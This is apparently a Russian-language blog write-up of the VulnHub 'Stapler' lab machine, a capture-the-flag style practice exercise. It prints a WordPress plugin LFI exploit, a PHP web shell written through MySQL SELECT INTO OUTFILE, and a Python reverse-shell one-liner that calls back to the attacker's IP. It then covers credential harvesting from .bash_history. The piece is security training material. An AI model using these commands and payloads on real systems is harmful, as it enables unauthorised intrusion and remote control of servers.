Очередная машины для взлома от VulnHub.Stapler

Сегодня у нас машина под название Stapler, достаточно старенькая 2016 год . Автор пишет что она легкая или сложна ))) Все зависит от ваших навыков. Требуется получить root доступ, все достаточно стандартно. Поехали… —[[Enjoy. Have fun. Happy Hacking.]]—

Разведка…

 #Определяем IP машины.
   arp-scan -l
 #Сканируем открытые порты.
  nmap 192.168.56.106 -p- -sV  

Тут у нас просто целый зоопарк разных служб : FTP , Samba, MySQL , Web-Server, BIND

# Я бы детальней глянул на все это
 nmap 192.168.56.106 -p- -sV -A

Тут у нас повеселей уже, FTP можно зайти как анонимный пользователь anonymous и паролем: anonymous . Заглянув ничего интересного не нашлось, если только имена для брута пригодятся.

ftp 192.168.56.106
ftp > ls
ftp > get note

Следующий в очередь, Samba 139 порт ) Давайте зайдем посмотрим, может там есть общие ресурсы и т.д. Воспользуемся smbclient :

smbclient -L 192.168.56.106
-L флаг host

У нас есть два доступных ресурса : kathy и tmp . К стати интересный комментарий, можно попробовать подключиться к kathy как пользователь Fred

smbclient //fred/kathy -I 192.168.56.106 -N
-I IP
-N без пароля
smbclient //fred/tmp -I 192.168.56.106 -N 

Ничего интересного не нашли

Web-сервер…

Открываем в браузере 192.168.56.106:12380

Тут ничего интересного, ну если только порадовал комментарий в исходном коде страницы. Двигаем дальше, запускаем Nikto .

Ну вот уже что то, есть /admin112233 , /blogblog. Так же стоит phpMyAdmin и есть ssl. сходим сначала на https://192.168.56.106:12380/admin112233/ уж больно привлекательное название.

Тут нас подловили на Java, вот так. Надо бы отключать ( Пойдем дальше /blogblog :

Тут у нас блог на WordPress, запускаем WPScan.

wpscan --url https://192.168.56.106:12380/blogblog/ --enumerate ap --plugins-detection aggressive --disable-tls-checks
--enumerate ap # перечислить все плагины 

Так как версия старая , тут у нас просто поляна всего. Но я больше заинтересовался плагинами, а если конкретней : advanced-video-embed-embed-videos-or-playlists

На моем любимом сайте exploit мы нашли программку на питоне которая выводит настройки wp-config.php .По сути этот плагин уязвим к LFI и мы можем вывести любо файл какой нам нужен. Качаем питон скрип, редактируем и запускаем.

LFI (англ. Local File Include) – означает некую возможность, позволяющую выполнять локальные файлы на стороне сервера. Данная уязвимость позволит для удаленного пользователя посредством специально подготовленного запроса получить свободный доступ практически к любым файлам сервера.

Пришлось конечно немного повозиться . Во первых urllib2 библиотека для Python 2.7, во вторых нам нужно добавить поддержку SSL :

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

За то у нас есть данные DB и похоже что это root учетка. Проверим, вы же помните что у нас открыт порт MySQL.

mysql -u root -p -h 192.168.56.106

Web-Shell, SQL- Injection…

Так как у нас root доступ к DB возникла идея загрузить в /upload веб-шелл с помощью SQL-Injection , идея взята из статьи Gaining Reverse Shell from SQL injection

mysql> Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
# В MySQL можно использовать предложение SELECT ... INTO OUTFILE для 
# вывода результатов запроса непосредственно в файл на хосте сервера.
# mysql> SELECT * FROM passwd INTO OUTFILE '/tmp/passwd.txt';  
https://192.168.56.106:12380/blogblog/wp-content/uploads/shell.php?cmd=ls -la

total 16 drwxrwxrwx 2 www-data www-data 4096 May 26 17:27 . drwxr-xr-x 5 root root 4096 Jun 4 2016 .. -rw-r--r-- 1 www-data www-data 3042 May 26 11:13 1724872606.jpeg -rw-rw-rw- 1 mysql mysql 39 May 26 17:27 shell.php 

Запускаем теперь netcat на порту 444( nc -lvp 444 ) , а на жертве запускаем revers-shell на питоне, мне просто нравиться питон : https://192.168.56.106:12380/blogblog/wp-content/uploads/shell.php?cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.56.103»,444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’

# Что бы было понятно запишем в более понятном виде:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.103",444)) # Ваш IP и ПОРТ
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]) 

.bash_history

Вот у нас нормальный шелл под пользователем www-data, сайт в наших руках. Но это далеко не root ,а стандартный пользователь Apache. Ну продолжим разведку, посмотрим версию ядра, заглянем в .bash_history . .bash_history это файл который запоминает последние команды пользователей в linux. Тут к стати нам ну просто волшебно повезло :

Смело стучимся в SSH : ssh -l peter 192.168.56.104 , и проверяем доступно ли sudo : sudo -l

На этом наше увлекательный квест закончен. Спасибо…

Ошибка в тексте? Выделите её и нажмите «Ctrl + Enter»

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *